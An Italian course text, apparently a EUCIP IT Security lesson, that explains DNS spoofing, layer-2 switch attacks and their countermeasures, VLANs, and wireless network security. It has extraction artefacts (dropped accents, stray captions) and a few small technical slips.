dendo sicuro il server DNS, ma al momento la maggior
parte di essi non lo .
VPN-1/FireWall-1 NG:
handshake di SYN Relay
in Check Point
DNS spoofing
In questo esempio, la sequenza delle operazioni la se-
guente:
- 1. Il client A chiede al server DNS qual lindirizzo IP di
tuaposta.com;
- 2. Il server DNS, che stato cracked (violato e alterato), ri-
sponde con un indirizzo 192.168.0.10 falsificato;
- 3. Il client A si connette al falso mail server e gli invia la po-
sta;
- 4. Il falso server copia la posta e la inoltra al vero mail ser-
ver;
- 5. Il vero mail server, usando un DNS sicuro, invia la posta
al client.
Sicurezza della rete locale
Le reti Ethernet sono nate come reti broadcast, in cui
ogni nodo pu vedere tutto il traffico, e seleziona solo quel-
lo che gli destinato. Con le topologie a bus o a stella con
hub, basta configurare una scheda di rete in modalit pro-
miscua per tenere sotto controllo tutto il traffico e opera-
re vari tipi di attacchi.
Con la diffusione degli switch, certe tipologie di attacco
sono divenute pi difficili da realizzare, e lutilizzo delle
VLAN (Virtual LAN, partizionamento dello spazio di rete di
uno switch in sottoreti logiche indipendenti) stato un ul-
teriore passo avanti nella sicurezza. In ogni caso, queste
tecnologie devono essere configurate con cura per non es-
sere aggirate.
Consideriamo il funzionamento di uno switch. Il suo
compito inoltrare i frame Ethernet solo sul segmento di
rete sul quale si trova il MAC address del destinatario. In
una trasmissione unicast (diretta a un solo destinatario), il
computer collegato a una porta dello switch invia i frame
al computer collegato a unaltra porta. Per esercitare la sua
funzione di commutatore, lo switch ha bisogno di appren-
dere su quale porta si trova il segmento di rete che condu-
ce allinterfaccia che ha il MAC address del destinatario, do-
po salva linformazione di questa associazione porta/indi-
rizzo in una tabella detta CAM table (CAM sta per Content
Addressable Memory, memoria indirizzabile per contenuto,
nota anche come memoria associativa). Il segmento colle-
gato a ogni singola porta pu contenere diversi computer,
uniti a loro volta da un hub, oppure un solo PC. Di solito,
per motivi di sicurezza e di prestazioni, preferibile avere
una sola macchina per porta.
Inizialmente, la tabella CAM vuota. Quando lo switch ri-
ceve un frame destinato a un certo MAC address, e non ha
informazioni sul segmento sul quale si trova il destinatario,
lo propaga in broadcast. Daltra parte, ogni volta che rice-
ve un frame, riconosce il MAC address di origine e la porta
da cui proviene il frame, e pu salvare tale associazione nel-
la CAM table. In questo modo, dato che generalmente il traf-
fico tra due sistemi bidirezionale, il frame di risposta pu
essere inviato alla porta indicata nella tabella, che verr
aggiornata con il MAC address del mittente del frame di ri-
sposta. Le voci della CAM table scadono dopo un certo tem-
po, in modo da prendere nota di eventuali variazioni nella
configurazione della rete, per esempio per lo spostamento
di un computer da una porta allaltra, o per la sostituzione
di uninterfaccia di rete.
Lo scopo primario di uno switch ottimizzare luso del-
la banda disponibile, evitando le collisioni sui segmenti di-
versi da quelli interessati alla trasmissione, quello del mit-
tente e quello del destinatario dei frame. Inoltre, il mecca-
nismo di inoltro selettivo degli switch offre benefici per la
sicurezza, visto che solo i segmenti del mittente e del de-
stinatario vedono i frame trasmessi, rendendo impratica-
bile lo sniffing dei pacchetti (a condizione, naturalmente,
che ci sia una sola macchina per segmento di rete, ossia
che a ciascuna porta dello switch sia collegato un solo
computer).
Vediamo ora cosa accade alla propagazione di un frame
da uno switch allaltro, nel caso in cui le schede di rete del
mittente e del destinatario siano collegate a switch diver-
si. In questo tipo di situazione, dove possono esserci cicli
chiusi (loop) nelle connessioni tra gli switch, occorre ga-
rantire che un frame non possa circolare sulla rete per un
tempo indefinito. A tale scopo, si usa un algoritmo detto
spanning tree. Se si considera la rete complessiva (compo-
sta da sottoreti connesse da bridge o da switch), rappre-
sentandola con un grafo (un diagramma di nodi e linee) con
possibili cicli chiusi (loop), uno spanning tree un sotto-
grafo ad albero (tree) che copre (span) tutti i vertici senza
contenere cicli. Lalgoritmo spanning tree la base del pro-
tocollo STP (Spanning Tree Protocol, standard IEEE 801.2-D
STP), e permette alle parti interessate di vedere la topolo-
gia della rete senza la presenza di cicli. I link che non fanno
parte dello spanning tree sono tenuti in standby (di riser-
va), e attivati come backup in caso di indisponibilit dei
link dellalbero. Il protocollo STP prevede lo scambio di
pacchetti tra gli switch per eleggere uno switch radice
5.7.1.9 Sapere in
che modo il ricorso
allo switching e reti
locali virtuali pu
migliorare la
sicurezza della LAN
Un grafo ciclico che
rappresenta una rete con
loop (a sinistra)
Il corrispondente
spanning tree (a destra)
DNS spoofing: dinamica
delle operazioni relative
allattacco
(root) dellalbero, e per selezionare percorsi che permetta-
no a ogni switch di raggiungere la root. I link che non fanno
parte di tali percorsi vengono disattivati.
Attacchi agli switch e contromisure
Una categoria di attacchi agli switch abbastanza ovvia,
e riguarda lo switch come dispositivo: attacchi fisici, at-
tacchi ai servizi di gestione, denial of service realizzati, ad
esempio, mediante pacchetti mal formati, e cos via. Pi in-
teressanti sono gli attacchi alla funzione di switching, volti
principalmente a vedere il traffico in transito tra due siste-
mi. Lo scopo pu essere lo sniffing (per vedere le informa-
zioni che i due nodi si scambiano) o la pratica di attacchi
man-in-the-middle (uomo nel mezzo: lattaccante impersona
laltro interlocutore con entrambi i sistemi che dialogano
tra di loro), che risulta persino facilitata da una rete swit-
ched. Citiamo alcuni esempi rappresentativi delle tante ti-
pologie di attacco che si possono attuare.
CAM flooding
Lattacco CAM flooding (inondazione della CAM, detto
anche CAM overflow) colpisce direttamente il meccanismo
di apprendimento dello switch. La CAM table una risorsa
limitata, e pu contenere un numero finito di voci (entry).
Inondando lo switch di frame aventi indirizzi MAC di origi-
ne casuali, si forza lo switch a inserire nella CAM table las-
sociazione tra la porta del sistema attaccante e i MAC ad-
dress casuali. In questo modo si finisce per cancellare i MAC
address legittimi, e lo switch deve trasmettere in broadca-
st i frame relativi.
Lattacco concettualmente semplice, ma la sua effica-
cia modesta. Infatti, lattaccante deve generare un gran
numero di frame con MAC address diversi dalla stessa por-
ta, un evento facilmente rilevabile dallo switch (se predi-
sposto a farlo). Inoltre, dopo che un frame legittimo sta-
to trasmesso in broadcast, il relativo MAC address viene in-
serito nella CAM table e, prima di avere un nuovo broadca-
st, occorre saturare nuovamente la tabella. Nel complesso,
il CAM flooding un attacco poco affidabile e relativamen-
te facile da contrastare se gli switch sono equipaggiati con
i necessari meccanismi di difesa.
Port stealing
Anche lattacco port stealing (furto di porte) rivolto al-
la CAM table, ma in modo pi mirato. Lattaccante invia al
sistema B dei frame con un indirizzo MAC di origine ugua-
le a quello del sistema A che vuole impersonare. In questo
modo, la porta associata a quel MAC address sar quella
dellattaccante, che ricever da B i frame destinati al siste-
ma A attaccato, con la possibilit di leggerli e di modificar-
ne il contenuto di dati (il payload). A questo punto lattac-
cante, inviando una ARP request, induce A, il vero destina-
tario, a generare traffico, correggendo la relativa voce nel-
la CAM table e permettendo allattaccante di inoltrargli i fra-
me ricevuti da B e da esso manipolati, usando come MAC
di origine quello di B e completando lattacco man-in-the-
middle.
Si tratta di una tecnica molto pi efficace rispetto al CAM
fllooding, e devessere realizzata con strumenti software
che automatizzino la manipolazione dei MAC address e dei
payload dei frame.
Per contrastare tale tecnica, necessario rilevare e im-
pedire linvio eccessivo di frame con un indirizzo MAC di
origine che risulti gi associato a unaltra porta, conside-
rando che lo spostamento di un MAC address un evento
poco frequente.
Potrebbero essere anche impostate associazioni stati-
che tra MAC address e porta, ma questo introdurrebbe con-
siderevoli complessit di gestione. Una soluzione radicale
consiste nellusare tecniche crittografiche per assicurare
lautenticazione degli interlocutori e dei pacchetti, e la ri-
servatezza e lintegrit dei dati.
ARP poisoning
Lattacco ARP poisoning (avvelenamento - o inquina-
mento - dellARP) prende di mira la tabella ARP dellhost
mittente. Lattaccante tenta, infatti, di inserirvi una voce
che associa lindirizzo IP del destinatario al proprio MAC
address.
La manovra pu essere eseguita, non senza difficolt, ri-
spondendo a una richiesta ARP in broadcast al posto del
vero destinatario. Daltra parte, molte implementazioni del-
lo stack TCP/IP accettano, e inseriscono nella propria ta-
bella ARP, i dati provenienti dalle cosiddette risposte ARP
non richieste (unsolicited ARP reply), ovvero pacchetti
ARP reply che non corrispondono ad alcuna precedente
ARP request. In tali condizioni, lattacco diventa banale e
molto efficace.
In effetti, mentre i casi precedenti riguardano lo strato 2
(data link), questo attacco riguarda lo strato 3 (rete, ovve-
ro gestione IP), e quindi non c nulla che uno switch pos-
sa rilevare, se non esaminando i dati trasportati dal frame,
riguardanti il protocollo ARP. Una protezione contro questo
tipo di attacco potrebbe essere lutilizzo di voci ARP stati-
che sugli host, ma diverrebbe ardua da gestire non appena
la configurazione assumesse un minimo di complessit.
Attacchi allo spanning tree e ad altri protocolli
di gestione della topologia
Un host pu, in generale, provare a partecipare allo
spanning tree non come foglia, ma come nodo intermedio,
o addirittura come radice, in modo da convincere gli swit-
ch adiacenti a inoltrargli il traffico che li attraversa. Esisto-
no inoltre altri protocolli, spesso proprietari dei produtto-
ri di apparati, destinati a gestire e ottimizzare il traffico sul-
la rete locale. Tutti questi protocolli dovrebbero essere di-
sattivati se non sono necessari (ad esempio, il protocollo
spanning tree non serve se non vi sono cicli nella topologia
della rete), e non deve essere permesso agli host di utiliz-
zarli.
La Virtual LAN
La nascita delle VLAN il riflesso della diffusione del ca-
blaggio strutturato. Nelle reti pi vecchie, la topologia fisi-
ca mappava la topologia logica, con la possibilit di avere
reti separate per attivit separate, che si estendevano an-
che su diversi piani di un edificio. Il cablaggio strutturato
prevede una topologia fisica che tende a mappare la strut-
tura degli ambienti, con uno o pi switch di piano a cui
sono connesse le prese del piano e un backbone (dorsale)
a cui sono connessi gli switch. Su questa topologia viene
poi mappata la topologia logica, con lesigenza di separare
il traffico di gruppi di sistemi ubicati sullo stesso piano, ma
appartenenti a reti o reparti aziendali diversi, o di accor-
pare sottoreti distribuite su pi piani.
Le VLAN sono nate proprio allo scopo di associare grup-
pi di porte di uno switch formando reti virtuali che, pur at-
testate allo stesso switch, non possono comunicare diret-
tamente tra loro (in quanto sottoreti separate, possono in-
tercomunicare solo attraverso router).
Le VLAN possono essere organizzate sulla base degli in-
dirizzi hardware degli host, dei numeri di porta dello swit-
ch, degli indirizzi IP o di altre tecniche. Il protocollo che si
applica alle VLAN l802.1q, detto VLAN tagging, che pre-
vede di anteporre al frame Ethernet un tag (marcatore) che
indica la VLAN di appartenenza del frame. Naturalmente, il
protocollo deve essere supportato da tutti gli switch at-
traversati dal frame; diversamente, uno switch non sareb-
be in grado dinterpretare la struttura del frame e di rico-
noscere i MAC address interessati.
Diversi switch con supporto VLAN possono essere con-
nessi da trunk (fasci), canali ad alta velocit che permetto-
no di trasportare pi VLAN sullo stesso collegamento fisi-
co, come ad esempio la connessione tra piani diversi di un
edificio.
Le VLAN si sovrappongono alla rete fisica
La figura illustra come sono configurate le VLAN.
In basso si vede la struttura della rete fisica. Gli switch di
dorsale e di gruppo di lavoro forniscono le funzioni per
configurare le VLAN. Lamministratore aggiunge un com-
puter o un utente a una VLAN in base al numero di porta di
uno switch, al MAC address della scheda di rete, allindiriz-
zo IP o altro criterio. Nella figura si vedono due VLAN per i
reparti marketing e ricerca. Quando il computer B tra-
smette, pu inviare un messaggio di broadcast a tutti i com-
puter della VLAN Marketing, inclusi E, G, H e J. Se B deve in-
viare un messaggio a un utente della VLAN Research, il mes-
saggio devessere instradato; di questo si occupa una fun-
zione di routing dello switch aziendale principale (enter-
prise) o un router separato.
Le VLAN sono essenziali in organizzazioni dove gli uten-
ti si spostano da un gruppo allaltro, o dove la struttura del-
lorganizzazione tale che i membri dello stesso gruppo di
lavoro siano collocati in diverse ubicazioni. Le VLAN per-
mettono ai membri di gruppi sparpagliati di condividere ri-
sorse comuni (come i dispositivi di archiviazione) e di es-
sere parte dello stesso dominio di broadcast (per cui, il
traffico generato dagli utenti di un gruppo resta confinato
al gruppo stesso). Se gli utenti presentano alta mobilit e si
spostano da un ufficio allaltro come parte del loro lavoro,
lamministratore della rete pu usare tecniche di VLAN per
mantenere lutente in un gruppo di broadcast indipenden-
temente dalla presa di rete a cui si collega.
Le VLAN sono nate principalmente come meccanismo di
gestione e, inizialmente, sono state spesso implementate
senza grande attenzione per la sicurezza. Nel tempo, la qua-
lit delle realizzazioni notevolmente migliorata e, oggi, le
VLAN sono utilizzabili come meccanismi di sicurezza.
Il primo effetto dellutilizzo delle VLAN la possibilit di
contenere gli attacchi finora descritti allinterno della sin-
gola VLAN. Una buona configurazione pu, quindi, raffor-
zare la sicurezza di una rete locale. Va ricordato che esiste
almeno un sistema accessibile da pi VLAN, ovvero il de-
fault gateway. Un attacco di ARP poisoning potrebbe per-
mettere di vedere il traffico destinato ad altre VLAN, pur
senza violare il meccanismo delle VLAN. Inoltre, esistono
forme di attacco che permettono dinviare pacchetti su
unaltra VLAN, pur senza poterne ricevere.
Ulteriori considerazioni
La possibilit di difendersi dagli attacchi descritti di-
pende dalle funzionalit offerte dagli switch installati. Men-
tre prevedibile che gli switch pi economici e privi di fun-
zioni di gestione siano vulnerabili pressoch alla totalit
degli attacchi descritti, gli switch di fascia superiore (ma-
naged switch) possono offrire meccanismi per rilevare, im-
pedire, o almeno mitigare, uno o pi degli attacchi citati. La
scelta degli switch deve quindi prendere in considerazione
anche tali aspetti, in base al contesto in cui saranno utiliz-
zati.
Merita di essere citato il protocollo 802.1x, che si dif-
fuso negli anni recenti. Con questo protocollo, uno switch,
appoggiandosi tipicamente a un server RADIUS (Remote
Authentication Dial-In User Service), richiede allinterfaccia
di rete di autenticarsi al momento della connessione a una
porta dello switch stesso, prima di consentire il transito del
traffico.
Best practices
Citiamo alcune pratiche consigliabili per tutelare la si-
curezza dello strato 2 di rete:
- gestire gli switch nel modo pi sicuro possibile (via con-
nessioni SSH e simili)
- usare sempre un identificatore di VLAN dedicato per tut-
te le porte di dorsale (trunk)
- non usare mai la VLAN 1
- impostare tutte le porte utente come non trunk (non dor-
sale)
- impostare la sicurezza delle porte utente quando possi-
bile
- pianificare le misure di sicurezza per lARP
- utilizzare le funzioni a protezione del protocollo Spanning
Tree
- disattivare le porte inutilizzate degli switch e raccoglierle
in una VLAN
- considerare ladozione di 802.1x.
Queste e altre regole tecniche sono comunque soggette
alla definizione e attuazione delle politiche di sicurezza del-
lorganizzazione.
VLAN: configurazione e
associazione a una rete
fisica
ITAdministrator - Sicurezza informatica Lezione 7B
G
li ultimi anni hanno visto la diffusione, a ritmo impe-
tuoso in qualche settore, delle tecnologie per la tra-
smissione dati su reti wireless. In funzione delle fre-
quenze utilizzate, delle potenze impiegate, che sono co-
munque limitate dalle normative, e dei protocolli in gioco,
troviamo diversi campi di utilizzo e la nascita di una serie
di nuove problematiche di sicurezza.
Tecnologie wireless
Possiamo suddividere le tecnologie wireless pi diffuse
in base alle caratteristiche tecniche e, contemporanea-
mente, ai rispettivi contesti di utilizzo che determinano, in-
sieme alle relative modalit dimpiego, diverse problemati-
che di sicurezza che influenzano i requisiti tecnologici.
Da un lato, le reti di telefonia cellulare (GSM, GPRS e
UMTS) sono principalmente gestite dai grandi operatori
di telecomunicazioni (carrier), di cui le altre aziende e i
cittadini sono solo utenti. Al contrario, le tecnologie im-
piegate nelle WLAN (Wireless LAN) sono utilizzate sia da
carrier, sia da aziende, sia da utenti finali (anche per im-
pianti domestici). Altre tecnologie, come Bluetooth, han-
no portata limitata e sono impiegate soprattutto per con-
nettere periferiche ai sistemi.
Nel seguito vediamo una breve descrizione delle princi-
pali tecnologie, con la premessa che ne esistono molte al-
tre, tra cui alcune nel loro stadio iniziale di diffusione, co-
me Wi-MAX (standard 802.16), il protocollo per realizzare
reti wireless geografiche (WMAN) ad uso, per esempio, dei
Wireless Internet Service Provider (WISP).
GSM/GPRS/UMTS
GSM (Global System for Mobile Communications), GPRS
(General Packet Radio Service) e UMTS (Universal Mobile
Telecommunications System) sono tecnologie utilizzate
dai grandi operatori per fornire connettivit prevalente-
mente telefonica, con possibilit pi o meno limitate di
trasmettere dati. Luso delle rispettive frequenze lega-
to a un numero limitato di licenze.
La principale differenza tra GSM e GPRS/UMTS, dal punto
di vista dellutente, sta nella banda disponibile e nellessere
o meno connessi in modo continuo. Allutente, infatti, non in-
teressano i dettagli della connessione, che viene utilizzata so-
stanzialmente come una connessione dial-up tradizionale (si-
mile alla composizione di un numero telefonico con un mo-
dem) verso un provider, con il vantaggio della mobilit. La
percentuale di copertura del territorio in Italia quasi com-
pleta per i servizi GSM e GPRS, ma limitata per lUMTS.
WLAN 802.11x
La famiglia di protocolli 802.11x, tra cui i pi noti sono
La settima lezione di EUCIP IT Administrator Sicurezza
Dobbiamo quindi suddividerla in cinque parti per coprire tutti
i temi. In questa seconda puntata ci occupiamo delle reti wireless
e dei relativi aspetti di sicurezza, oltre che dei numerosi servizi
Internet e di come vanno gestiti.
rivista, un articolo molto pi
esteso in formato PDF,
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
proteggere i dati sia su un singolo PC, sia in una LAN
2.0 (curriculum
ufficiale AICA)
5.7.2 Reti wireless
principali tecnologie
wireless
applicazioni
Lezione 7: parte 1 Sicurezza di rete Ethernet e TCP/IP
parte 2 Sicurezza in mobilit e on line
In collaborazione
con:
Sicurezza di rete Reti Wireless e servizi
Sicurezza in mobilit
e on line
Lezione 7B IT Administrator - Sicurezza informatica
802,11a, 802.11b e 802.11g (e pi recentemente 802.11i per
la sicurezza), spesso indicata in modo collettivo con la si-
gla Wi-Fi (Wireless Fidelity, per assonanza con Hi-Fi), come
se fossero sinonimi. In verit, Wi-Fi un trademark della Wi-
Fi Alliance (nata come Wireless Ethernet Compatibility Al-
liance, un nome autoesplicativo). Si tratta di unorganizza-
zione che verifica e certifica la conformit delle apparec-
chiature wireless agli standard IEEE 802.11b.
Oggi anche autori di prestigio utilizzano il termine Wi-Fi
in senso generale, tuttavia bene sapere che nel panorama
delle tecnologie WLAN esiste una proliferazione di proto-
colli proprietari, non conformi agli standard (quindi non
Wi-Fi), volti a incrementare le prestazioni (maggiore porta-
ta/banda passante). Tali varianti a volte non hanno altro
scopo che spremere maggiori prestazioni, magari a basso
costo, mentre in qualche caso hanno lo scopo di occupare
spazio di mercato tentando di anticipare standard futuri e
di forzare la mano agli enti certificatori.
Le tipologie Wi-Fi pi diffuse sono 802.11b (2,4 GHz e 11
Mbps, massimi teorici di banda condivisa) e 802.11g (2,4
GHz e 54 Mbps di banda condivisa), questultimo sempre
pi diffuso anche perch, essendo pi recente, affianca-
to da tecniche di sicurezza molto pi efficaci. L802.11a (5
GHz, 54 Mbps), dopo uniniziale diffusione in America, ha
perso terreno, anche a seguito della portata inferiore (al
crescere della frequenza, infatti, diminuisce la distanza a
cui il segnale pu essere ricevuto).
Le reti 802.11 possono essere utilizzate da operatori te-
lefonici, piccoli provider ed esercizi pubblici, per realizza-
re i cosiddetti hot spot (punti caldi, ovvero punti di acces-
so a Internet a tariffa oraria messi a disposizione, ad esem-
pio, da alberghi, aeroporti e altre strutture pubbliche), ma
nella maggioranza dei casi sono utilizzate dalle aziende per
la loro connettivit interna, e da privati e famiglie per in-
stallare reti domestiche senza dover stendere cavi.
Mentre nella connettivit tradizionale il cablaggio vin-
cola la posizione delle prese di rete e comporta lavori di
messa in opera che in certi ambienti possono essere pro-
blematici (stabili depoca, installazioni temporanee e
demergenza), le reti wireless prescindono in larga misu-
ra dal cablaggio e permettono la totale mobilit degli
utenti, anche durante la connessione.
Laccesso alla rete avviene solitamente attraverso un
access point, che ha la funzione di interconnessione tra la
rete radio e la rete cablata e si comporta da concentra-
tore (equivalente a un hub) tra la rete e le stazioni wire-
less. Laccess point realizza anche le funzioni di sicurezza
per consentire laccesso alla rete ai soli utenti autorizza-
ti (attraverso tecniche di autenticazione e cifratura). Le
reti wireless basate su uno o pi access point sono chia-
mate reti a infrastruttura.
Unaltra tipologia possibile, scarsamente utilizzata,
quella delle reti ad-hoc, dove gli host (tipicamente due o
tre) comunicano tra di loro direttamente in modo parite-
tico (peer-to-peer), senza access point. Sugli host di tipo
desktop, la connettivit wireless realizzata tramite ap-
posite interfacce WLAN (principalmente schede PCI e di-
spositivi USB), mentre sui computer portatili linterfaccia
wireless integrata sulla scheda madre o realizzata at-
traverso una mini-scheda PCI interna, tramite scheda PC
Card aggiuntiva o tramite dongle USB. Sui palmari, lin-
terfaccia wireless pu essere integrata o aggiunta trami-
te una schedina di espansione.
Larea di copertura di un access point varia in funzione
degli ostacoli incontrati dalle onde radio (cemento, metal-
lo, acqua, carta, corpi umani, ecc.), della conformazione del
terreno e della potenza di emissione effettiva (ottenuta
moltiplicando la potenza in uscita per il guadagno dellan-
tenna depurata dalleventuale attenuazione del cavo dan-
tenna), potenza ERP (Effective Radiated Power) che limi-
tata da normative nazionali. Per esempio, in Italia la po-
tenza effettiva utilizzabile assai inferiore che negli USA.
Il guadagno di unantenna corrisponde a una maggio-
re direzionalit, ovvero al fatto che l'antenna non irradia
a 360 gradi, ma concentra le emissioni in un pi ristretto
angolo: anche le antenne omidirezionali, in realt, sono
direzionali: non tanto per il fatto che irradiano pi a Est
che a Nord, ma nel senso che evitano dirradiare verso
lalto oppure verso il basso, concentrando il segnale at-
torno all'orizzonte.
Un access point di fascia medio-bassa ha una potenza
duscita tipica di 30 mw, che sale al massimo di 100 mw
per i modelli di livello professionale. La copertura tipica,
senza antenne direzionali, dellordine di parecchie de-
cine di metri, ma occorre tenere presente che gi dopo
pochi metri, in appartamenti e uffici, il segnale diminui-
sce e, per mantenere stabile il collegamento, la velocit di
trasmissione (quindi la larghezza di banda) viene fatta a
scendere, scalando progressivamente verso velocit pi
basse e modulazioni pi robuste.
La banda reale, inoltre, dellordine di un terzo di quel-
la massima nominale (signalling rate), che solo teorica
perch calcolata allo strato fisico. Inoltre, occorre ricor-
darsi che tutti gli utenti che condividono un access point si
dividono la banda, dato che non possono trasmettere con-
temporaneamente. Salvo che per abitazioni e piccoli uffici,
normale installare pi access point per coprire uniforme-
mente lintera area di utenza tramite celle adiacenti, che
utilizzano canali diversi. Una rete wireless con un solo ac-
cess point si chiama Basic Service Set (BSS); una con pi ac-
cess point prende il nome di Extended Service Set.
I canali 802.11b
Un esempio di Extended
Service Set
In Italia, le connessioni 802.11b e 802.11g possono sce-
gliere la frequenza centrale di trasmissione fra 13 canali, ma
pi canali trasmettono sovrapponendosi parzialmente.
Per non interferire, gli AP di un ESS debbono utilizzare ca-
nali distanti tra loro di almeno cinque posizioni; ad esem-
pio, in USA si possono usare i canali 1, 6 e 11, mentre in Ita-
lia preferibile utilizzare i canali 1, 7 e 13.
Bluetooth
Bluetooth una tecnologia per PAN (Personal Area
Network) di bassa potenza (tipicamente 2,5 mw), destinata
a connettere dispositivi a breve distanza nella banda dei
2,45 GHz. Prevede tre classi di potenza: Classe 1 (1 mw, por-
tata massima di 10 cm, usata raramente), Classe 2 (2,5 mw,
10 m, la pi diffusa) e Classe 3 (100 mw, 100 m). Gli utilizzi
sono i pi svariati, come la connessione di mouse, tastiera,
cuffie e stampante a un computer, o lauricolare connesso
al telefono cellulare. La banda limitata alle decine o cen-
tinaia di Kbps, con un massimo di 1 Mbps. Sempre pi spes-
so la connettivit Bluetooth integrata in dispositivi non le-
gati al mondo informatico, come le automobili (per la con-
nessione telefonica) o la domotica (automazione impianti-
stica in abitazioni e uffici).
IrDA
LIrDA (Infrared Data Association) definisce gli stan-
dard dei protocolli di comunicazione per comunicazioni
a infrarossi a breve distanza (dalle decine di cm a pochi
metri). Data la scomodit di dover allineare i trasduttori,
che sono direzionali, lIrDA ha progressivamente ceduto
il passo a Bluetooth.
Sicurezza delle tecnologie wireless
La caratteristica fondamentale delle tecnologie wire-
less che il segnale non confinato allinterno di un ca-
vo o di una fibra ottica (ancora pi sicura). Questo un
punto di forza dal punto di vista della facilit dinstalla-
zione e usabilit, ma nello stesso tempo la fonte prin-
cipale dei problemi di sicurezza, che possono essere rag-
gruppati nelle seguenti categorie:
1. accesso ai dati in transito tra due nodi;
2. accesso non autorizzato alla rete;
3. analisi del traffico in vista di un attacco ai meccanismi di
protezione (autenticazione e cifratura);
4. denial of service.
Accesso ai dati in transito tra due nodi
Il segnale di una rete wireless accessibile a chiunque
sia abbastanza vicino o disponga di antenne ad alto gua-
dagno, che permettono di aumentare notevolmente la di-
stanza alla quale si pu ricevere un segnale riconoscibile.
Persino tra le antenne omnidirezionali (sul piano orizzon-
tale) si trovano modelli con guadagno significativo, che
pu raggiungere i 15 db (antenna alta un metro, con ango-
lo verticale di irradiazione di 8). Il decibel un decimo di
bel, ununit di misura logaritmica utilizzata per rappre-
sentare la relazione tra due potenze. Quando positivo in-
dica che la seconda potenza, emanata dallantenna in que-
sto caso, superiore alla potenza originale in uscita dal
trasmettitore. Si tratta di un valore logaritmico. Il logarit-
mo, di fatto, lesponente al quale elevare la base del lo-
garitmo stesso (in questo caso la base 10) per ottenere
il rapporto tra la potenza in uscita e quella in entrata. Nel-
la pratica, un incremento di 3 decibel, ovvero di 0,3 bel,
corrisponde a un raddoppio della potenza (10 elevato a
0,3, produce il fattore moltiplicativo 1,99), con 10 decibel,
ovvero un bel, la potenza decuplicata (10 elevato alla 1
ci d, appunto, 10) e con 20 decibel la potenza in uscita
100 volte superiore di quella in entrata (10 elevato alla se-
conda ci d 100), e con 30 db mille volte maggiore. Le an-
tenne direzionali possono raggiungere guadagni intorno ai
30 db (antenna parabolica di 1,5 m di diametro, angolo dir-
radiazione di circa 5 verticali e orizzontali, prezzo intor-
no ai 400 dollari). Le normali antenne fornite con gli access
point e con le interfacce wirless PCI e USB hanno un gua-
dagno tipico di 2,2 db (circa il 66% di guadagno), il che d
lidea dellestensione di portata (e potenziale intercetta-
zione) ottenibile con antenne aggiuntive, che permettono
di restare ben al di fuori dellarea sorvegliata.
Il cosiddetto war driving (cos chiamato per assonan-
za con il war dialing, la caccia ai modem degli anni 80),
divenuto popolare nel 2001, consiste nel percorrere le
strade (ma esiste anche il war flying per chi ama volare)
alla ricerca di segnali Wi-Fi accessibili.
Alcune tecnologie, in particolare quelle pi vecchie, non
offrono alcuna protezione; il caso, ad esempio, dei vecchi
cellulari TACS (Total Access Communications Service, il si-
stema analogico originario lanciato in Europa nel 1985) e
della tecnologia IrDA. A proposito dellIrDA, la direzionalit
e breve portata sono in s una protezione, ma non raro
trovare computer portatili a cui non stata disattivata la
connessione a infrarosso, con la conseguenza di poter at-
tingere ai dati che vi sono contenuti utilizzando un altro di-
spositivo IrDA collocato di fronte a breve distanza.
Quando la tecnologia non prevede tecniche di auten-
ticazione e cifratura, allora si pu optare per una prote-
zione di livello pi alto; per esempio, nel caso del traffi-
co IP, una soluzione comune la cifratura della connes-
sione (allo strato di rete) tramite la suite di protocolli
IPSec (IP Security).
Le tecnologie pi recenti, invece, prevedono invariabil-
mente lautenticazione e la cifratura del traffico. La telefo-
nia cellulare utilizza, ad esempio, la cifratura del traffico tra
terminale e gestore (anche se non garantita la cifratura
del transito sulla rete del carrier). Nel caso del Wi-Fi, le fun-
zioni di autenticazione e cifratura sono fornite in qualche
misura in tutti gli apparecchi, ma la loro attivazione op-
zionale. Diverse indagini condotte nel mondo negli ultimi
anni (inclusa una europea del 2004) hanno mostrato che la
maggioranza delle reti Wi-Fi installate non utilizzava alcun
meccanismo di protezione.
Accesso non autorizzato alla rete
Una delle caratteristiche delle tecnologie wireless la
possibilit di stabilire rapidamente una connessione senza
necessit di configurazione: un utente arriva in un locale,
accende il portatile e, grazie anche al protocollo DHCP (Dy-
namic Host Configuration Protocol) che assegna dinamica-
mente lindirizzo IP, immediatamente in rete. Tale situa-
zione accade se laccess point stato installato senza con-
figurare alcuna opzione di sicurezza. Questo un errore di
gestione che permette a chiunque, utenti autorizzati ed
estranei, di arrivare nel raggio dazione dellaccess point e
accedere immediatamente alla rete, con la possibilit di at-
taccare gli host locali o di utilizzare in modo indebito lac-
cesso a Internet, esponendo lazienda (o il privato cittadi-
no) alle possibili conseguenze legali del suo operato.
Per evitare che questo accada, si devono utilizzare
meccanismi di autenticazione per laccesso alla rete. Ci
5.7.2.2 Conoscere i
problemi di sicurezza
relativi alle differenti
tecnologie wireless,
e le possibili
soluzioni
Celle e canali in un ESS
sono varie possibilit:
1. lapparato preconfigurato, e la sua autenticazione av-
viene in modo trasparente per lutente; il caso della te-
lefonia cellulare, in cui la SIM (Subscriber Identity Module,
una Smart Card di dimensioni ridotte) contiene le cre-
denziali che vengono utilizzate per laccesso autenticato
alla rete e per la tariffazione. Un numero PIN di identifi-
cazione personale, se attivato, impedisce che il termina-
le sia messo in funzione da estranei.
2. Lapparato viene registrato sullaccess point in una fase
iniziale; il meccanismo utilizzato, ad esempio, dai si-
stemi cordless DECT (Digital Enhanced Cordless Tele-
communications).
3. Lutente utilizza le proprie credenziali al momento del-
laccesso; il meccanismo adottato dal protocollo IEEE
802.1x, peraltro utilizzabile solo dove sia possibile per un
utente inserire credenziali. Una soluzione pi semplice,
che offre un buon livello di sicurezza senza richiedere un
server RADIUS (Remote Authentication Dial-in User Ser-
vice) o analogo per lautenticazione, luso del WPA (Wi-
Fi Protected Access) o, meglio ancora, dello standard
802.11i, di cui WPA realizza la maggior parte delle fun-
zioni (WPA2 implementa 802.11i al completo). Rispetto
alla WEP (Wired Equivalent Privacy), di cui tutti i dispo-
sitivi 802.11 sono dotati e che si rivelata inaffidabile sot-
to gli attacchi dei cracker, WPA e 802.11i utilizzano tec-
niche di autenticazione e cifratura molto pi sicure; inol-
tre, possono essere affiancate da autenticazione pi for-
te tramite 802.1x.
Se non viene utilizzato un meccanismo di protezione co-
me quelli citati, occorre accettare lidea che laccesso non
sia protetto. Anche lutilizzo dei valori di default iniziali per
SSID (il nome della rete wireless), nome utente e password,
